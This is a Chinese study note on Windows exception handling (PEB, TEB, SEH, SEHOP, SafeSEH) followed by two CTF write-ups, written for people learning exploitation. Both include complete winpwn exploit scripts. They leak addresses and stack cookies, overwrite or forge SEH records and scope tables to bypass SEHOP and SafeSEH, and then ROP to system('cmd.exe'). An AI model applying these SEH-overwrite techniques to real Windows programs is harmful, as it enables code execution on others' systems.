Windows 异常处理 win常见结构 理论部分大多来自下面sky师傅的链接,这里仅作为学习笔记(侵删),对这些机制有了解的师傅可以直接参考例题部分,讲解较为详细。
source: https://blog.csdn.net/qq_45323960/article/details/131312600
PEB PEB(Process Environment Block)是 Windows 操作系统中的一个数据结构,它包含了进程的上下文信息 。每个进程都有一个唯一的 PEB ,它被存储在进程的用户模式地址空间 中。PEB 与 TEB 的相对偏移固定 ,使用 .process
或者 r $peb
查看进程的 PEB 地址 ,随后使用 dt _PEB peb_addr
查看进程的 PEB 信息 。
1 2 3 4 5 6 7 8 9 10 11 0:000> .process Implicit process is now 00995000 0:000> r $peb $peb=00995000 0:000> dt _PEB 00995000 ntdll!_PEB +0x000 InheritedAddressSpace : 0 '' +0x001 ReadImageFileExecOptions : 0 '' +0x002 BeingDebugged : 0x1 '' +0x003 BitField : 0x4 '' ...
!peb
查看 PEB 的具体内容,其中 Ldr 的地址为76facb00,即 ntdll!pebldr
地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 0:000> !peb PEB at 00995000 InheritedAddressSpace: No ReadImageFileExecOptions: No BeingDebugged: Yes ImageBaseAddress: 00700000 NtGlobalFlag: 0 NtGlobalFlag2: 0 Ldr 76facb00 ... 0:000> dc ntdll!pebldr 76facb00 00000030 00000001 00000000 00e12360 0...........`#.. 76facb10 00e18418 00e12368 00e18420 00e12278 ....h#.. ...x".. 76facb20 00e182d0 00000000 00000000 00000000 ................ 76facb30 00000002 00000000 00000000 00000000 ................ 76facb40 00000000 00000000 00000000 00000000 ................ 76facb50 00000000 00000000 00000000 00000000 ................ 76facb60 00000000 00000000 00000000 00000000 ................ 76facb70 00000000 00000000 00000000 00000000 ................
PEB 结构在 Windows Pwn 中的作用主要是泄露 TEB 地址 ,程序基址 ,以及通过修改其中的 ProcessHeap
完成对进程默认堆的切换 。
TEB TEB(Thread Environment Block)是 Windows 操作系统中的一个线程私有的数据结构 ,用于存储线程相关的信息 。每个线程都有一个对应的 TEB 。32 位程序 FS 寄存器指向当前线程的 TEB ,64 位程序 GS 寄存器指向当前线程的 TEB 。
使用 r $teb
查看进程的 TEB 地址,!teb
可以查看 TEB 详细信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 0:000> r $teb $teb=00998000 0:000> !teb TEB at 00998000 ExceptionList: 00affcf0 StackBase: 00b00000 StackLimit: 00afd000 SubSystemTib: 00000000 FiberData: 00001e00 ArbitraryUserPointer: 00000000 Self: 00998000 EnvironmentPointer: 00000000 ClientId: 00003638 . 00000ae0 RpcHandle: 00000000 Tls Storage: 00e1acb8 PEB Address: 00995000 LastErrorValue: 0 LastStatusValue: 0 Count Owned Locks: 0 HardErrorMode: 0
TEB 的开头是一个 NT_TIB
结构,具体如下:
1 2 3 4 5 6 7 8 9 10 0:000> dt _nt_tib ntdll!_NT_TIB +0x000 ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD +0x004 StackBase : Ptr32 Void +0x008 StackLimit : Ptr32 Void +0x00c SubSystemTib : Ptr32 Void +0x010 FiberData : Ptr32 Void +0x010 Version : Uint4B +0x014 ArbitraryUserPointer : Ptr32 Void +0x018 Self : Ptr32 _NT_TIB
TEB 结构在 Windows Pwn 中的作用是泄露栈地址 。
NT_TIB 中一些重要的字段的解释:
ExceptionList
:指向当前线程的异常处理器链表的头部 。当线程发生异常时,系统会将异常处理器添加到该链表中,以便进行异常处理。StackBase
和 StackLimit
:分别指向线程栈的起始地址和结束地址 。这是我们我们泄露栈基址的一个途径。Self
:指向当前 TEB 的指针 。对于任何 TEB,该字段的值应该等于 TEB 的地址。
SEH SEH(Structured Exception Handling,结构化异常处理 )是 Windows 操作系统中的一种异常处理机制。
异常处理需要注册异常 ,即在异常处理链表中添加 _EXCEPTION_REGISTRATION_RECORD
节点,代码如下:
1 2 3 push offset SEHandler push fs:[0] mov fs:[0], esp
如果程序当前的函数执行完毕需要卸载当前函数中注册的 SEH 处理程序 ,代码如下:
1 2 mov esp, dword ptr fs:[0] pop dword ptr fs:[0]
_EXCEPTION_REGISTRATION_RECORD
中的 Next
指向上一个 _EXCEPTION_REGISTRATION_RECORD
结构,Handler
指向异常处理的代码。
MSC 在 32 位模式对异常处理链表的节点 _EXCEPTION_REGISTRATION_RECORD
被扩充为 CPPEH_RECORD
(具体与编译器版本有关),其成员 _EH3_EXCEPTION_REGISTRATION
结构是对原始的 SEH 结构 _EXCEPTION_REGISTRATION_RECORD
的扩充。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 typedef struct _EH4_SCOPETABLE_RECORD { int EnclosingLevel; void *FilterFunc; void *HandlerFunc; } *PSCOPETABLE_ENTRY; struct _EH4_SCOPETABLE { DWORD GSCookieOffset; DWORD GSCookieXOROffset; DWORD EHCookieOffset; DWORD EHCookieXOROffset; struct _EH4_SCOPETABLE_RECORD ScopeRecord []; }; struct _EH3_EXCEPTION_REGISTRATION { struct _EH3_EXCEPTION_REGISTRATION *Next ; PVOID ExceptionHandler; PSCOPETABLE_ENTRY ScopeTable; DWORD TryLevel; }; struct CPPEH_RECORD { DWORD old_esp; EXCEPTION_POINTERS *exc_ptr; struct _EH3_EXCEPTION_REGISTRATION registration ; };
MSC编译器引入了_try
、_except
、_finally
关 完成异常处理,使用方法如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 __try { } __except ( FilterFunction(GetExceptionCode(), GetExceptionInformation())) { ExceptionHandler(); } __try { } __finally { FinallyHandler(); }
FilterFunction
由用户定义用来筛选异常,返回值有如下三种:
1 2 3 4 #define EXCEPTION_EXECUTE_HANDLER 1 #define EXCEPTION_CONTINUE_SEARCH 0 #define EXCEPTION_CONTINUE_EXECUTION (-1)
EXCPTION_EXECUTE_HANDLER
:表示该异常在预料之中 ,直接执行下面的 ExceptionHandler 。
EXCEPTION_CONTINUE_SEARCH
:表示不处理该异常 ,请继续寻找其他处理程序。
EXCEPTION_CONTINUE_EXECUTION
:表示该异常已被修复 ,请回到异常现场再次执行。
ExceptionHandler
处理完异常后,需要返回如下返回值:
1 2 3 4 5 6 7 8 typedef enum _EXCEPTION_DISPOSITION { ExceptionContinueExecution, ExceptionContinueSearch, ExceptionNestedException, ExceptionCollidedUnwind } EXCEPTION_DISPOSITION;
ExceptionContinueExecution
:表示异常已经被处理 ,程序可以继续执行。此时,程序会从发生异常的地址处继续执行 ,而不会跳转到异常处理程序中。
ExceptionContinueSearch
:表示异常未被处理 ,程序应该继续搜索异常处理程序 。当多个异常处理程序都可以处理同一个异常时,该枚举值可以用于指示程序继续搜索下一个异常处理程序。
ExceptionNestedException
:表示在处理当前异常时 ,又发生了一个异常 。此时,程序会跳转到新的异常处理程序中,处理新的异常。
ExceptionCollidedUnwind
:表示发生了一些不可恢复的错误,无法继续执行当前线程 。此时,线程的栈会被展开,所有的异常处理程序都会被调用 ,直到找到一个可以处理当前异常的异常处理程序。如果没有找到这样的异常处理程序,程序将终止。
以下面这段代码为例(SEH.exe ,SEH.pdb ):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 #include <iostream> #include <windows.h> int main () { __try { __try { __try { *(int *) nullptr = 1 ; } __except (EXCEPTION_CONTINUE_SEARCH) { puts ("Handler 2" ); } } __except (EXCEPTION_EXECUTE_HANDLER) { puts ("Handler 1" ); } __try { int x = 0 ; x /= x; } __finally { puts ("Handler 3" ); } } __except (EXCEPTION_CONTINUE_EXECUTION) { puts ("Handler 4" ); } return 0 ; }
从 ida 中查看反汇编部分代码大致如下:
可以看到程序通过 TryLevel
更新为当前所在 __try
块的编号,这里给出 sky 针对这个程序画出相关结构图:
这张图对比着前面的几个结构体来理解比较好(这张图对于理解后面的 SEH 利用非常重要 )。
处理函数使用 _except_handler4 作为代理函数来调用用户定义的处理函数 。用户定义的 FilterFunc 和 HandlerFunc 保存在 SCOPETABLE 中(实际调试的 SCOPETABLE 可能是使用了 _EH3_SCOPETABLE_RECORD 因此和前面的 _EH4_SCOPETABLE_RECORD 定义有所不同)。
通过分析汇编可知,MSC 对用户定义的 __try 块进行了编号,每个 __try 的编号为其在 SCOPETABLE 中对应的 SCOPETABLE_RECORD 的下标,对于不在 __try 块的情况编号为 -2(0xFFFFFE)。当代码执行到某个 __try 块中时,会先将栈中的 CPPEH_RECORD 的 TryLevel 更新为当前所在 __try 块的编号。另外, SCOPETABLE 中的 SCOPETABLE_RECORD 的 EnclosingLevel 记录了 __try 块外层包裹的 __try 块的编号,这样 _except_handler4 进行异常处理的时候就可以按正确的顺序调用处理函数 。
如该图中所示,在异常处理函数中还会用 old_esp 替换 esp 进一步完成栈回滚 。(这里非常重要 ,如果有恢复 esp 为 old_esp 的操作则说明栈帧恢复到注册异常时的栈 ,异常处理函数准备直接跳转到发生异常的函数的结尾卸载 SEH 然后直接返回 ,此时 handler 的返回值即为异常函数的返回值,这种情况也对应着 __expect(…){…} 中没有调用用户定义的异常处理函数而是直接把代码写在 {…} 中而没有返回值的情况。 否则说明 handler 在其所在的栈帧中分析处理异常,返回值为异常处理的结果。)
触发异常后,输入 !exchain 可以查看 seh chain (有一种错误说法是 TryLevel 设为 0 后就可以用 !exchain 查看,实际上必须是触发异常后查看的 chain 才是 seh chain)
EXCEPTION_REGISTRATION 依次连接 ,最后一个 EXCEPTION_REGISTRATION 的 next 为 0xFFFFFFFF ,exceptionhandler 为 ntdll!FinalExceptionHandler
。
例题 SEHOP 这道题比较简单,但是正是因为简单,我们才能够不受其他因素影响,更好的通过这道题去理解 SEH 异常处理机制。
检查保护
开了 GS 保护,我们需要泄露 stack_cookie。
静态分析
同样是存在栈溢出 ,而且里面存在貌似异常处理的代码,我们可以从汇编更能清晰看到程序异常处理步骤。
可以看到正如前面异常机制中所说的那样,在进入 try 块的时候,程序会将 TryLevel 更新为当前 try 块的编号 ,用来在发生异常时定位异常处理程序。
动态分析
首先通过简单调试可以发现,栈中存在一些 ucrtbased 库的地址,包括程序地址,我们可以进行栈溢出进行泄露,当然程序可能会崩溃,不过我们重启就好了,这些地址不会像 linux 那样被重新覆盖,只有机器重启了,这些地址才会发生变化。
step.1 leak ucrtbased addr & step.2 leak code_base
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 payload = 'a' *0x10c sa("What is your name:" , payload) rl('a' *0x10c ) ucrtbased.address = u32(io.recv(4 )) - 0x0afbd2 li("ucrt_base" , ucrtbased.address) io.close() io = process(file_name) rl("This is the stack address : 0" ) stack_addr = int (io.recv(8 ), 16 ) li("stack_addr" , stack_addr) payload = 'a' *0x114 sa("What is your name:" , payload) rl('a' *0x114 ) pe.address = u32(io.recv(3 ).ljust(4 , '\0' )) - 0x012120 li("code_base" , pe.address) io.close()
step.3 attack SEH
这一步来到我们这一题的重点,首先思考我们再有了前面的两个地址之后,为什么不直接 ret2libc 呢,原因是还有一个 stackcookie,这个值程序每次启动时,都会重新发生变化,所以我们必须保证程序不崩溃的情况下,一次完成利用,这里就需要借助 SEH 这个好东西。
我们再次回到前面的栈里,看看栈里面都有些什么东西
这是我们在正常输入时栈里面的状态。
上图为 stack_cookie 所在的位置,我们如果破坏了它,会导致__security_check_cookie(x)
报错,导致不能正常 ROP。
还记的前面的那张图嘛,下图红框中的数据与我们上图中栈里的数据一一对应。
我们这里需要关注的是 ExceptionHandler
,它的值为 00c62120 ,正常情况下它所指向的是 __except_handler4
异常处理句柄函数,当捕捉到异常时,首先会从栈里加载该地址,调用进行处理。
理所当然想到的是,如果我们这里将这个地址覆盖为其他地址,就可完成程序的执行流劫持,这也就是我们第三步所要做的事情。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 io = process(file_name) main_addr = pe.address + 0x15450 li("main_addr" , main_addr) rl("This is the stack address : 0" ) stack_addr = int (io.recv(8 ), 16 ) li("stack_addr" , stack_addr) payload = '\xcc' *0x104 payload += p32(0xdeadbeef ) payload += p32(0xdeadbeef ) payload += p32(0xdeadbeef ) payload += p32(stack_addr) payload += p32(main_addr) sa("What is your name:" , payload) sla("Give me one shot: " , "0" )
我们将 EXceptionHandler 处的地址改为了 main 函数地址,使得在发生异常时,把 main 函数当做异常处理调用函数。
注意事项:
这里我们实际上是将 main 函数作为了 handler 函数,所以会发生重复调用,参考如下解释:
如果我们把 Handler 从原本的 __except_handler4 覆盖为 main 函数,那么当触发异常时会把 main 函数当做 Handler 调用。
再次进入 main 函数时,会在原来异常链上添加一个新的异常节点 ,该节点是正常的 __except_handler4 。如果此时触发异常会通过 __except_handler4 执行新注册的异常处理程序, 这个异常处理程序会输出 This is exception handler\n 然后返回 0 。由于 main 函数作为上一层 main 函数的 Handler 函数 ,这个返回值会被当做 Handler 函数返回了 ExceptionContinueExecution ,上一层的 main 函数认为异常以及被处理完,因此再次返回错误的位置执行 ,结果再次触发异常进入 main 函数。至此,我们实现了 main 函数的多次调用。
source:https://blog.csdn.net/qq_45323960/article/details/131697469
上面的话稍微有点绕,但请读者一定要认真思考,才能对后面的理解更加深刻,这里 sky 师傅也画了张图来解释上面的调用
因此程序总是会反复执行main函数,这将有利于我们泄露 stackcookie,并布置 ROP。
step.4 leak stack_cookie & step.5 hijack control flow by rop dont trigger exceptionHandler
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 rl("This is the stack address : 0" ) stack_addr = int (io.recv(8 ), 16 ) li("stack_addr" , stack_addr) payload = 'a' *0x100 + '\xcc' *0x4 sa("What is your name:" , payload) rl("\xcc" *4 ) stack_cookie = u32(re(4 )) li("stack_cookie" , stack_cookie) sla("Give me one shot: " , "0" ) rl("This is the stack address : 0" ) stack_addr = int (io.recv(8 ), 16 ) li("stack_addr" , stack_addr) payload = 'a' *0x100 + '\xcc' *0x4 payload += p32(stack_cookie) payload += p32(0xdeadbeef ) payload += p32(0xdeadbeef ) payload += p32(stack_addr) payload += p32(main_addr) payload += p32(0xdeadbeef )*2 + p32(stack_addr) payload += p32(ucrtbased.symbols['system' ]) + p32(main_addr) + p32(ucrtbased.search("cmd.exe" ).next ()) sa("What is your name:" , payload) rl("\xcc" *4 ) stack_cookie = u32(re(4 )) li("stack_cookie" , stack_cookie) sla("Give me one shot: " , str (stack_addr))
这一步利用较为简单,可以尝试自己看代码进行理解。
最后效果如下:
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 from winpwn import *from time import *import syscontext.arch='amd64' re = lambda data: io.recv(data) sd = lambda data: io.send(data) sl = lambda data: io.sendline(data) rl = lambda data: io.recvuntil(data) sa = lambda content, data: (io.recvuntil(content), io.send(data)) sla = lambda content, data: (io.recvuntil(content), io.sendline(data)) li = lambda content, data: sys.stdout.write('\x1b[01;38;5;214m' + content + ' == ' + hex (data) + '\x1b[0m\n' ) ucrtbased = winfile("ucrtbased.dll" ) file_name = './SEH.exe' pe = winfile(file_name, rebase = True ) io = process(file_name) rl("This is the stack address : 0" ) stack_addr = int (io.recv(8 ), 16 ) li("stack_addr" , stack_addr) payload = 'a' *0x10c sa("What is your name:" , payload) rl('a' *0x10c ) ucrtbased.address = u32(io.recv(4 )) - 0x0afbd2 li("ucrt_base" , ucrtbased.address) io.close() io = process(file_name) rl("This is the stack address : 0" ) stack_addr = int (io.recv(8 ), 16 ) li("stack_addr" , stack_addr) payload = 'a' *0x114 sa("What is your name:" , payload) rl('a' *0x114 ) pe.address = u32(io.recv(3 ).ljust(4 , '\0' )) - 0x012120 li("code_base" , pe.address) io.close() io = process(file_name) main_addr = pe.address + 0x15450 li("main_addr" , main_addr) rl("This is the stack address : 0" ) stack_addr = int (io.recv(8 ), 16 ) li("stack_addr" , stack_addr) payload = '\xcc' *0x104 payload += p32(0xdeadbeef ) payload += p32(0xdeadbeef ) payload += p32(0xdeadbeef ) payload += p32(stack_addr) payload += p32(main_addr) sa("What is your name:" , payload) sla("Give me one shot: " , "0" ) rl("This is the stack address : 0" ) stack_addr = int (io.recv(8 ), 16 ) li("stack_addr" , stack_addr) payload = 'a' *0x100 + '\xcc' *0x4 sa("What is your name:" , payload) rl("\xcc" *4 ) stack_cookie = u32(re(4 )) li("stack_cookie" , stack_cookie) sla("Give me one shot: " , "0" ) rl("This is the stack address : 0" ) stack_addr = int (io.recv(8 ), 16 ) li("stack_addr" , stack_addr) payload = 'a' *0x100 + '\xcc' *0x4 payload += p32(stack_cookie) payload += p32(0xdeadbeef ) payload += p32(0xdeadbeef ) payload += p32(stack_addr) payload += p32(main_addr) payload += p32(0xdeadbeef )*2 + p32(stack_addr) payload += p32(ucrtbased.symbols['system' ]) + p32(main_addr) + p32(ucrtbased.search("cmd.exe" ).next ()) sa("What is your name:" , payload) rl("\xcc" *4 ) stack_cookie = u32(re(4 )) li("stack_cookie" , stack_cookie) sla("Give me one shot: " , str (stack_addr)) io.interactive()
SafeSEH 由于 SageSEH 保护和 SEHOP 保护有关系,先来看看 SEHOP 是什么,在 ntdll!RtlDispatchException
中有对 SEH 链表的检查,下面是部分代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 RtlpGetStackLimits(&StackLimit, &StackBase); ExceptionList = NtCurrentTeb()->NtTib.ExceptionList; ProcessInformation = 0 ; if ( ZwQueryInformationProcess((HANDLE)0xFFFFFFFF , ProcessExecuteFlags, &ProcessInformation, 4u , 0 ) < 0 ) ProcessInformation = 0 ; if ( (ProcessInformation & 0x40 ) != 0 || RtlpIsValidExceptionChain(ExceptionList, StackLimit, StackBase) ){ RegistrationPointerForCheck = ExceptionList; NestedRegistration = 0 ; while ( RegistrationPointerForCheck != (_EXCEPTION_REGISTRATION_RECORD *)-1 ) { if ( (unsigned int )RegistrationPointerForCheck < StackLimit || (unsigned int )&RegistrationPointerForCheck[1 ] > StackBase || ((unsigned __int8)RegistrationPointerForCheck & 3 ) != 0 || (Handler = RegistrationPointerForCheck->Handler, (unsigned int )Handler < StackBase) && StackLimit <= (unsigned int )Handler || !RtlIsValidHandler(Handler, ProcessInformation, pContext) ) { pExcptRec->ExceptionFlags |= EXCEPTION_STACK_INVALID; goto DispatchExit; } } }
主要检查 SEH 是否满足如下条件:
SEH 节点在栈中
SEH节点指向的 Handler 不在栈中
SEH 节点地址 4 字节对齐
SEH 最后一个节点的 Next 为 -1 且 Handler 为 RtlpFinalExceptionHandler
SEH 节点的 Next 指向的下一个节点的地址一定大于当前节点
只要泄露栈地址就可以伪造 SEH 链表绕过 SEHOP 检查。
SafeSEH
在 ntdll!RtlDispatchException
中调用 RtlIsValidHandler
进一步检查 SEH 链表,伪代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 BOOL RtlIsValidHandler (void * handler) { if (handler image has a SafeSEH table) { if (handler found in the table) return TRUE; else return FALSE; } if (ExecuteDispatchEnable|ImageDispatchEnable bit set in the process flags) return TRUE; if (handler is on a executeable page) { if (handler is in an image) { if (image has the IMAGE_DLLCHARACTERISTICS_NO_SEH flag set ) return FALSE; if (image is a .NET assembly whith the ILonly flag set ) return FALSE; return TRUE; } if (handler is not in an image) { if (ImageDispatchEnable bit set in the process flags) return TRUE; else return FALSE; } } if (handler is on a non-executable page) { if (ExecuteDispatchEnable bit set in the process flags) return TRUE; else raise ACCESS_VIOLATION; } }
绕过方法:
将 Handler
覆盖指向有 SEH 但没有 SafeSEH 保护的 Image 即可绕过。
例题 SafeSEH 检查保护
程序开了 SafeSEH,意味着我们不能像上一题一样直接覆盖 handler 函数地址劫持执行流,开了 SafeSEH 的程序会像保存 security_cookie 那样将调用的 handler 函数地址保存到一个叫 SafeSEH 表里面,如果这个地址不能在表里找到,程序就会崩溃报错。
静态分析
程序中可以进行两次输入,意味着我们可以先泄露 stack_cookie,后栈溢出布置 ROP。需要注意的是 *(_DWORD *)v8 &= 0xFFF00u;
,这一行代码实际上是无论我们输入的地址是否合法,这一步都会将该地址设置为非法地址,并在下面赋值,从而强行走异常处理机制。
先来继续看这张经典图:
如果我们这里只考虑布置 ROP,那势必会破坏 CPPEH_RECORD 结构体,从而导致在异常处理的时候程序会崩溃,所以说这一题重点其实就是要恢复该结构体 。
不过幸好我们已经有了栈地址,程序基址,该有的都有了,实际上我们只需要通过调试,获取到未破坏前的结构体样貌,然后在通过已知地址去计算偏移,重新恢复结构体内容即可。
具体内容就跟着 windbg 里面的数据去逐个计算偏移恢复,板子如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 fake_CPPEH_RECORD = p32(stack_addr - 0xe0 ) fake_CPPEH_RECORD += p32(ucrtbased.address + 0xafbd2 ) fake_CPPEH_RECORD += p32(stack_addr + 0x18c ) fake_CPPEH_RECORD += p32(pe.address + 0x1e30 ) fake_CPPEH_RECORD += p32(stack_addr ^ security_cookie) fake_CPPEH_RECORD += p32(0xfffffffe ) FilterFunc = pe.address + 0x18b7 HandlerFunc = pe.address + 0x18bd fake_ScopeTable = p32(0xffffffe4 ) fake_ScopeTable += p32(0x00000000 ) fake_ScopeTable += p32(0xfffffe00 ) fake_ScopeTable += p32(0x00000000 ) fake_ScopeTable += p32(0xfffffffe ) fake_ScopeTable += p32(FilterFunc) fake_ScopeTable += p32(HandlerFunc) fake_ScopeTable += p32(0x00000000 )
上面唯一需要注意的是,ScopeTable 的计算,实际程序中会将 ScopeTable 的真实地址与 security_cookie 进行异或,所以我们这里也需要在覆盖的时候,覆盖其具体的异或值。
动态分析
步骤大体与上一题类似,唯一就是恢复这个两个结构体吧,这里展示一下如何找上面的一些伪造数据:
最后效果
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 from winpwn import *from time import *import syscontext.log_level='debug' context.arch='amd64' re = lambda data: io.recv(data) sd = lambda data: io.send(data) sl = lambda data: io.sendline(data) rl = lambda data: io.recvuntil(data) sa = lambda content, data: (io.recvuntil(content), io.send(data)) sla = lambda content, data: (io.recvuntil(content), io.sendline(data)) li = lambda content, data: sys.stdout.write('\x1b[01;38;5;214m' + content + ' == ' + hex (data) + '\x1b[0m\n' ) ucrtbased = winfile("ucrtbased.dll" ) file_name = './SafeSEH.exe' pe = winfile(file_name, rebase = True ) io = process(file_name) rl("This is the stack address : 0" ) stack_addr = int (io.recv(8 ), 16 ) li("stack_addr" , stack_addr) payload = '\xcc' *0x10c sa("What is your name:" , payload) rl('\xcc' *0x10c ) ucrtbased.address = u32(io.recv(4 )) - 0x0afbd2 li("ucrt_base" , ucrtbased.address) io.close() io = process(file_name) rl("This is the stack address : 0" ) stack_addr = int (io.recv(8 ), 16 ) li("stack_addr" , stack_addr) payload = 'a' *0x114 sa("What is your name:" , payload) rl('a' *0x114 ) pe.address = u32(io.recv(3 ).ljust(4 , '\0' )) - 0x1e30 li("code_base" , pe.address) io.close() io = process(file_name) rl("This is the stack address : 0" ) stack_addr = int (io.recv(8 ), 16 ) li("stack_addr" , stack_addr) payload = 'a' *0x100 + '\xcc' *0x4 sa("What is your name:" , payload) rl("\xcc" *4 ) stack_cookie = u32(re(4 )) li("stack_cookie" , stack_cookie) ebp = stack_addr + 0x120 security_cookie = ebp ^ stack_cookie li("security_cookie" , security_cookie) main_addr = pe.address + 0x1780 payload = '\xcc' *0x104 payload += p32(stack_cookie) fake_CPPEH_RECORD = p32(stack_addr - 0xe0 ) fake_CPPEH_RECORD += p32(ucrtbased.address + 0xafbd2 ) fake_CPPEH_RECORD += p32(stack_addr + 0x18c ) fake_CPPEH_RECORD += p32(pe.address + 0x1e30 ) fake_CPPEH_RECORD += p32(stack_addr ^ security_cookie) fake_CPPEH_RECORD += p32(0xfffffffe ) FilterFunc = pe.address + 0x18b7 HandlerFunc = pe.address + 0x18bd fake_ScopeTable = p32(0xffffffe4 ) fake_ScopeTable += p32(0x00000000 ) fake_ScopeTable += p32(0xfffffe00 ) fake_ScopeTable += p32(0x00000000 ) fake_ScopeTable += p32(0xfffffffe ) fake_ScopeTable += p32(FilterFunc) fake_ScopeTable += p32(HandlerFunc) fake_ScopeTable += p32(0x00000000 ) payload = fake_ScopeTable payload = payload.ljust(0x104 , '\xcc' ) payload += p32(stack_cookie) payload += fake_CPPEH_RECORD payload += p32(stack_addr) payload += p32(ucrtbased.symbols['system' ]) + p32(main_addr) + p32(ucrtbased.search("cmd.exe" ).next ()) sa("Input again:" , payload) sla("Give me one shot: " , str (stack_addr)) io.interactive()